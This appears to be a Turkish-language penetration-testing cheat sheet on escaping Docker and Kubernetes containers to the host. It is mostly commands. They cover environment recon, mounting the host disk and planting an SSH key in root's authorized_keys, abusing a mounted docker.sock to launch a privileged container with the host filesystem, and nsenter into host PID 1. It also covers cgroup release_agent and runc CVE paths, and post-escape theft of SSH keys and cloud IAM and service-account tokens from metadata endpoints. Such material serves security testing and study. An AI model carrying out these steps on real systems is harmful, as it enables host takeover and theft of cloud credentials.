Container Escape
container escape
Container escape, bir konteyner içinden host işletim sistemine çıkmaktır (T1611). Konteynerler izolasyon sınırı sunsa da; yanlış yapılandırma (–privileged, tehlikeli mount, fazladan capability) veya runtime/çekirdek CVE’leri bu sınırı kaldırır. K8s’te aynı teknikler pod→node için geçerlidir.
Ön koşullar
Section titled “Ön koşullar”- Konteyner içinde shell (RCE)- Mümkünse: capsh, mount, fdisk, curl, gcc/python- Hedef: host FS yazma, host PID, Docker API, veya CVEOrtamı tanı
Section titled “Ortamı tanı”ls -la /.dockerenv 2>/dev/nullcat /proc/1/cgroupcat /proc/1/environ | tr '\0' '\n' | headhostname; id; uname -acapsh --print 2>/dev/nullcat /proc/self/status | grep -i Capcat /proc/1/status | grep Seccompaa-status 2>/dev/null; ls -la /sys/kernel/security/mount | column -tcat /proc/mountsdf -hls -la /devls -la /var/run/docker.sock /run/docker.sock 2>/dev/nullCapEff yüksek + /dev/sd* görünür → privileged veya geniş device/host veya /var/lib/docker mount → host FSdocker.sock → API ile yeni privileged konteynerhostPID /proc/1 gerçek init → nsenter adayıKlasik kaçış yolları
Section titled “Klasik kaçış yolları”--privileged → tüm capability + host devices → disk mount-v /:/host → host FS (ssh key, crontab, /etc/shadow)-v /var/run/docker.sock → Docker API → privileged siblingCAP_SYS_ADMIN → mount, cgroup release_agentCAP_SYS_PTRACE + hostPID → host süreçlerine enjeksiyonCAP_DAC_READ_SEARCH → host dosya okuma (bazı teknikler)Writable cgroup → release_agentÇekirdek/runtime CVE → runc CVE-2019-5736, Dirty Pipe, OverlayFS...Kaçış adımları
Section titled “Kaçış adımları”-
Privileged / host mount — –privileged veya host yolu mount varsa host diskini bul ve yaz:
Terminal window fdisk -lTerminal window mkdir /mnt/hostTerminal window mount /dev/sda1 /mnt/host # cihaza göreTerminal window echo 'ssh-rsa AAAA...' >> /mnt/host/root/.ssh/authorized_keysTerminal window chroot /host bash -
docker.sock — soket mount’luysa Docker API ile ayrıcalıklı konteyner:
Terminal window docker run -it --privileged -v /:/host alpine chroot /host bashTerminal window curl -s --unix-socket /var/run/docker.sock http://localhost/containers/jsonTerminal window curl -s --unix-socket /var/run/docker.sock \-H 'Content-Type: application/json' \-d '{"Image":"alpine","Cmd":["sleep","1d"],"HostConfig":{"Binds":["/:/host"],"Privileged":true}}' \http://localhost/containers/create -
CAP_SYS_ADMIN → cgroup release_agent — writable cgroup ile host’ta komut (klasik notify_on_release / release_agent PoC).
cdk run exploitveya bilinen PoC akışı. -
hostPID + privileged → nsenter :
Terminal window nsenter --target 1 --mount --uts --ipc --net --pid -- bash -
Runtime CVE — runc/containerd/kernel sürümünü kontrol et; bilinen escape CVE’lerini (kapsam ve izin dahilinde) dene.
release_agent (özet akış)
Section titled “release_agent (özet akış)”dmesg | headcat /sys/fs/cgroup/*/release_agent 2>/dev/nullTehlikeli mount örnekleri
Section titled “Tehlikeli mount örnekleri”/var/run/docker.sock/var/run/containerd/containerd.sock/:/host, /etc, /root, /home/proc (özellikle procfs yazılabilir yanlış config)/sys (cgroup yazma)Payload sonrası
Section titled “Payload sonrası”cat /etc/hostname /etc/machine-idls /root/.ssh /home/*/.sshcrontab -l; ls /etc/cron*curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/curl -s -H "Metadata-Flavor: Google" \ http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/tokenSaldırı zinciri
Section titled “Saldırı zinciri”App RCE in Docker → docker.sock mounted → privileged -v /:/host → host root + IMDS keys → cloud accountK8s pod (CAP_SYS_ADMIN) → release_agent / hostPath → node root → kubelet creds / cloud SA